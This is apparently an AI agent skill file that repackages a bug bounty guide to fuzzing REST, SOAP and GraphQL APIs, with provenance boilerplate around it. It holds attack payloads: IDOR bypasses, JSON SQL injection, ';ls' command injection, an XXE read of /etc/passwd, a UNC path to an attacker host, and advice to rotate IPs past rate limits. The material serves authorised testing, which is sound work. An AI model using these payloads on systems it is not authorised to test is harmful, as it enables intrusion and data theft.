This public intake copy packages plugins/antigravity-awesome-skills-claude/skills/api-fuzzing-bug-bounty from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.
Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.
This intake keeps the copied upstream files intact and uses the external_source block in metadata.json plus ORIGIN.md as the provenance anchor for review.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # API Fuzzing for Bug Bounty
Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Inputs/Prerequisites, Outputs/Deliverables, API Types Overview, GraphQL-Specific Testing, Endpoint Bypass Techniques.
When to Use This Skill
Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.
This skill is applicable to execute the workflow or actions described in the overview.
Use when the request clearly matches the imported source intent: Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and....
Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
Use when provenance needs to stay visible in the answer, PR, or review packet.
Use when copied upstream references, examples, or scripts materially improve the answer.
Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

Workflow
This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

Confirm the user goal, the scope of the imported workflow, and whether this skill is still the right router for the task.
Read the overview and provenance files before loading any copied upstream support files.
Load only the references, examples, prompts, or scripts that materially change the outcome for the current request.
Execute the upstream workflow while keeping provenance and source boundaries explicit in the working notes.
Validate the result against the upstream expectations and the evidence you can point to in the copied files.
Escalate or hand off to a related skill when the work moves out of this imported workflow's center of gravity.
Imported Workflow Notes
Imported: Core Workflow
Step 1: API Reconnaissance
Identify API type and enumerate endpoints:
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
Step 2: Authentication Testing
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints# If no rate limit → brute force possible# Test mobile vs web API separately# Don't assume same security controls
Step 3: IDOR Testing
Insecure Direct Object Reference is the most common API vulnerability:
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
# Test /me/orders vs /user/654321/orders
IDOR Bypass Techniques:
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
Step 4: Injection Testing
SQL Injection in JSON:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
Command Injection:
# Ruby on Rails
?url=Kernel#open → ?url=|ls# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/
XXE Injection:
<!DOCTYPE test [ <!ENTITY xxeSYSTEM"file:///etc/passwd"> ]>
# If .NET app uses Path.Combine(path_1, path_2)# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
Step 5: Method Testing
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml
Imported: Purpose
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
Examples
Example 1: Ask for the upstream workflow directly
Use @api-fuzzing-bug-bounty to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.
Example 2: Ask for a provenance-grounded review
Review @api-fuzzing-bug-bounty against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.
Example 3: Narrow the copied support files before execution
Use @api-fuzzing-bug-bounty for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.
Example 4: Build a reviewer packet
Review @api-fuzzing-bug-bounty using the copied upstream files plus provenance, then summarize any gaps before merge.
Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.
Imported Usage Notes
Imported: Examples
Example 1: IDOR Exploitation
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# Response reveals other user's invoice data
Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.
Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
Treat generated examples as scaffolding; adapt them to the concrete task before execution.
Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.
Troubleshooting
Problem: The operator skipped the imported context and answered too generically
Symptoms: The result ignores the upstream workflow in plugins/antigravity-awesome-skills-claude/skills/api-fuzzing-bug-bounty, fails to mention provenance, or does not use any copied source files at all.
Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Check the external_source block first, then restate the provenance before continuing.
Problem: The imported workflow feels incomplete during review
Symptoms: Reviewers can see the generated SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task.
Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.
Problem: The task drifted into a different specialization
Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.
Imported Troubleshooting Notes
Imported: Troubleshooting
Issue
Solution
API returns nothing
Add X-Requested-With: XMLHttpRequest header
401 on all endpoints
Try adding ?user_id=1 parameter
GraphQL introspection disabled
Use clairvoyance for schema reconstruction
Rate limited
Use IP rotation or batch requests
Can't find endpoints
Check Swagger, archive.org, JS files
